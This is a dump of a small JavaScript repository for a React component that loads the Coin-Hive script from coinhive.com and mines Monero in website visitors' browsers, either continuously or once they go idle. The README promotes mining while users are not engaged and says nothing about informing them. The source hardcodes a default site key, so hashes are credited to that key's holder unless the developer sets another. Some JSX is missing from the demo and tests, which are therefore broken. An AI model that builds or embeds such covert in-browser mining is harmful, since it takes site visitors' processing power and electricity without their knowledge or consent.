├── .gitignore
├── .nvmrc
├── .travis.yml
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── demo
└── src
│ └── index.js
├── nwb.config.js
├── package-lock.json
├── package.json
├── src
└── index.js
└── tests
├── .eslintrc
└── index-test.js
/.gitignore:
--------------------------------------------------------------------------------
1 | /coverage
2 | /demo/dist
3 | /es
4 | /lib
5 | /node_modules
6 | /umd
7 | npm-debug.log*
8 |
--------------------------------------------------------------------------------
/.nvmrc:
--------------------------------------------------------------------------------
1 | 8.5
2 |
--------------------------------------------------------------------------------
/.travis.yml:
--------------------------------------------------------------------------------
1 | sudo: false
2 |
3 | language: node_js
4 | node_js:
5 | - 6
6 |
7 | before_install:
8 | - npm install codecov.io coveralls
9 |
10 | after_success:
11 | - cat ./coverage/lcov.info | ./node_modules/codecov.io/bin/codecov.io.js
12 | - cat ./coverage/lcov.info | ./node_modules/coveralls/bin/coveralls.js
13 |
14 | branches:
15 | only:
16 | - master
17 |
--------------------------------------------------------------------------------
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | ## Prerequisites
2 |
3 | [Node.js](http://nodejs.org/) >= v4 must be installed.
4 |
5 | ## Installation
6 |
7 | - Running `npm install` in the components's root directory will install everything you need for development.
8 |
9 | ## Demo Development Server
10 |
11 | - `npm start` will run a development server with the component's demo app at [http://localhost:3000](http://localhost:3000) with hot module reloading.
12 |
13 | ## Running Tests
14 |
15 | - `npm test` will run the tests once.
16 |
17 | - `npm run test:coverage` will run the tests and produce a coverage report in `coverage/`.
18 |
19 | - `npm run test:watch` will run the tests on every change.
20 |
21 | ## Building
22 |
23 | - `npm run build` will build the component for publishing to npm and also bundle the demo app.
24 |
25 | - `npm run clean` will delete built resources.
26 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining a copy
4 | of this software and associated documentation files (the "Software"), to deal
5 | in the Software without restriction, including without limitation the rights
6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7 | copies of the Software, and to permit persons to whom the Software is
8 | furnished to do so, subject to the following conditions:
9 |
10 | The above copyright notice and this permission notice shall be included in all
11 | copies or substantial portions of the Software.
12 |
13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19 | SOFTWARE.
20 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # React Coin-Hive
2 |
3 | Mine cryptocurrency while your users _haven’t engaged with your content_ lately. Inspired by the last paragraph of [this article](https://cdb.reacttraining.com/announcing-react-idle-8fc0b9e2d33e).
4 |
5 | This uses [Coin-Hive](https://coin-hive.com/) to mine [Monero (XMR)](https://getmonero.org/).
6 |
7 | ## Installation
8 |
9 | ```
10 | npm install --save react-coin-hive
11 | ```
12 |
13 | ## Usage
14 |
15 | ```jsx
16 | // Anywhere in your app as long as it gets mounted
17 |
18 | ```
19 |
20 | ## Props
21 |
22 | - `siteKey`: Your [Coin-Hive Site Key](https://coin-hive.com/settings/sites).
23 |
24 | - `timeout`: How long before considering that the user is idle in milliseconds. Default is `30000`.
25 |
26 | - `userName`: If used, the miner will be created with `CoinHive.User(siteKey, userName)`. By default the miner is created with `CoinHive.Anonymous(siteKey)`.
27 |
28 | - `threads`: The number of threads the miner should start with. Default is `2`.
29 |
30 | - `throttle`: The fraction of time that threads should be idle. Default is `0`.
31 |
32 | - `onInit`: A function that takes the `miner` instance as argument. It's called when the miner is created.
33 |
34 | - `onStart`: A function that takes the `miner` instance as argument. It's called every time the miner is started.
35 |
36 | - `onStop`: A function that takes the `miner` instance as argument. It's called every time the miner is stopped.
37 |
38 | ## Disclaimer
39 |
40 | I have nothing to do with `coin-hive.com`
41 |
--------------------------------------------------------------------------------
/demo/src/index.js:
--------------------------------------------------------------------------------
1 | import React, { Component } from 'react'
2 | import { render } from 'react-dom'
3 |
4 | import CoinHive from '../../src'
5 |
6 | class Demo extends Component {
7 | state = {
8 | autoThreads: true,
9 | }
10 |
11 | _handleEnableAutoThreads = () => {
12 | this.setState({ autoThreads: true })
13 | }
14 |
15 | _handleDisableAutoThreads = () => {
16 | this.setState({ autoThreads: false })
17 | }
18 |
19 | render() {
20 | return
47 | }
48 | }
49 |
50 | render(, document.querySelector('#demo'))
51 |
--------------------------------------------------------------------------------
/nwb.config.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | type: 'react-component',
3 | npm: {
4 | esModules: true,
5 | umd: false
6 | }
7 | }
8 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "react-coin-hive",
3 | "version": "1.1.1",
4 | "description": "Mine cryptocurrency while your users haven’t engaged with your content lately",
5 | "main": "lib/index.js",
6 | "module": "es/index.js",
7 | "files": [
8 | "css",
9 | "es",
10 | "lib",
11 | "umd"
12 | ],
13 | "scripts": {
14 | "build": "nwb build-react-component",
15 | "clean": "nwb clean-module && nwb clean-demo",
16 | "start": "nwb serve-react-demo",
17 | "test": "nwb test-react",
18 | "test:coverage": "nwb test-react --coverage",
19 | "test:watch": "nwb test-react --server"
20 | },
21 | "dependencies": {
22 | "load-script": "^1.0.0",
23 | "react-idle": "^2.0.0"
24 | },
25 | "peerDependencies": {
26 | "react": "15.x"
27 | },
28 | "devDependencies": {
29 | "nwb": "0.18.x",
30 | "react": "^15.6.1",
31 | "react-dom": "^15.6.1"
32 | },
33 | "author": "",
34 | "homepage": "",
35 | "license": "MIT",
36 | "repository": {
37 | "type": "git",
38 | "url": "git+https://github.com/cazala/react-coin-hive.git"
39 | },
40 | "keywords": [
41 | "react-component"
42 | ]
43 | }
44 |
--------------------------------------------------------------------------------
/src/index.js:
--------------------------------------------------------------------------------
1 | import React, { Component } from 'react'
2 | import Idle from 'react-idle';
3 | import loadScript from 'load-script';
4 | import PropTypes from 'prop-types';
5 |
6 | class CoinHiveClient extends Component {
7 |
8 | static defaultProps = {
9 | autoThreads: false,
10 | timeout: 30000,
11 | threads: 2,
12 | throttle: 0,
13 | siteKey: 'NjBUIBfgmgqwSRGjemP5JQCNFJu5UJTx',
14 | startOnIdle: false,
15 | onInit: (miner) => { },
16 | onStart: (miner) => { },
17 | onStop: (miner) => { }
18 | }
19 |
20 | constructor(props) {
21 | super(props);
22 | this.miner = null;
23 | this.idle = false;
24 | }
25 |
26 | start() {
27 | if (this.miner) {
28 | this.miner.start();
29 | this.props.onStart(this.miner);
30 | }
31 | }
32 |
33 | stop() {
34 | if (this.miner) {
35 | this.miner.stop();
36 | this.props.onStop(this.miner);
37 | }
38 | }
39 |
40 | buildMiner = async () => {
41 | if (this.miner && this.miner.isRunning()) {
42 | this.stop();
43 | }
44 | this.miner = await new Promise(resolve => {
45 | loadScript('https://coinhive.com/lib/coinhive.min.js', () => {
46 | if (this.props.userName) {
47 | return resolve(CoinHive.User(this.props.siteKey, this.props.userName));
48 | }
49 | return resolve(CoinHive.Anonymous(this.props.siteKey));
50 | })
51 | })
52 | this.handleProps(this.props);
53 | }
54 |
55 | async componentWillMount() {
56 | await this.buildMiner();
57 | this.props.onInit(this.miner);
58 | if (!this.idle) {
59 | this.start();
60 | }
61 | }
62 |
63 | async componentWillReceiveProps(nextProps) {
64 | this.handleProps(nextProps);
65 | this.stop();
66 | await this.buildMiner();
67 | if (!this.idle) {
68 | this.start();
69 | }
70 | return;
71 | }
72 |
73 | handleProps({ throttle, threads, autoThreads }) {
74 | if (this.miner != null) {
75 | this.miner.setThrottle(throttle);
76 | if (autoThreads) {
77 | this.miner.setAutoThreadsEnabled(autoThreads);
78 | } else {
79 | this.miner.setNumThreads(threads);
80 | }
81 | }
82 | }
83 |
84 | handleIdleChange = ({ idle }) => {
85 | if (this.miner != null) {
86 | if (idle) {
87 | this.start();
88 | } else {
89 | this.stop();
90 | }
91 | } else {
92 | }
93 | this.idle = idle;
94 | }
95 |
96 |
97 | render() {
98 | if (!this.props.startOnIdle) {
99 | return null;
100 | }
101 | return
105 | }
106 | }
107 |
108 | CoinHiveClient.PropTypes = {
109 | siteKey: PropTypes.string.isRequired,
110 | timeout: PropTypes.number,
111 | onInit: PropTypes.func,
112 | onStart: PropTypes.func,
113 | onStop: PropTypes.func,
114 | userName: PropTypes.string,
115 | autoThreads: PropTypes.bool,
116 | startOnIdle: PropTypes.bool,
117 | };
118 |
119 | CoinHiveClient.displayMiner = miner => {
120 | if (!miner || typeof miner !== 'object' || typeof miner.isRunning !== 'function') {
121 | console.log('miner is not defined')
122 | return;
123 | }
124 | const data = {
125 | isRunning: miner.isRunning(),
126 | getHashesPerSecond: miner.getHashesPerSecond(),
127 | getNumThreads: miner.getNumThreads(),
128 | getAutoThreadsEnabled: miner.getAutoThreadsEnabled(),
129 | hasWASMSupport: miner.hasWASMSupport(),
130 | getThrottle: miner.getThrottle(),
131 | getToken: miner.getToken(),
132 | getTotalHashes: miner.getTotalHashes(),
133 | getAcceptedHashes: miner.getAcceptedHashes(),
134 | };
135 | console.log(data)
136 | }
137 |
138 | export default CoinHiveClient;
139 |
--------------------------------------------------------------------------------
/tests/.eslintrc:
--------------------------------------------------------------------------------
1 | {
2 | "env": {
3 | "mocha": true
4 | }
5 | }
6 |
--------------------------------------------------------------------------------
/tests/index-test.js:
--------------------------------------------------------------------------------
1 | import expect from 'expect'
2 | import React from 'react'
3 | import {render, unmountComponentAtNode} from 'react-dom'
4 |
5 | import Component from 'src/'
6 |
7 | describe('Component', () => {
8 | let node
9 |
10 | beforeEach(() => {
11 | node = document.createElement('div')
12 | })
13 |
14 | afterEach(() => {
15 | unmountComponentAtNode(node)
16 | })
17 |
18 | it('displays a welcome message', () => {
19 | render(, node, () => {
20 | expect(node.innerHTML).toContain('Welcome to React components')
21 | })
22 | })
23 | })
24 |
--------------------------------------------------------------------------------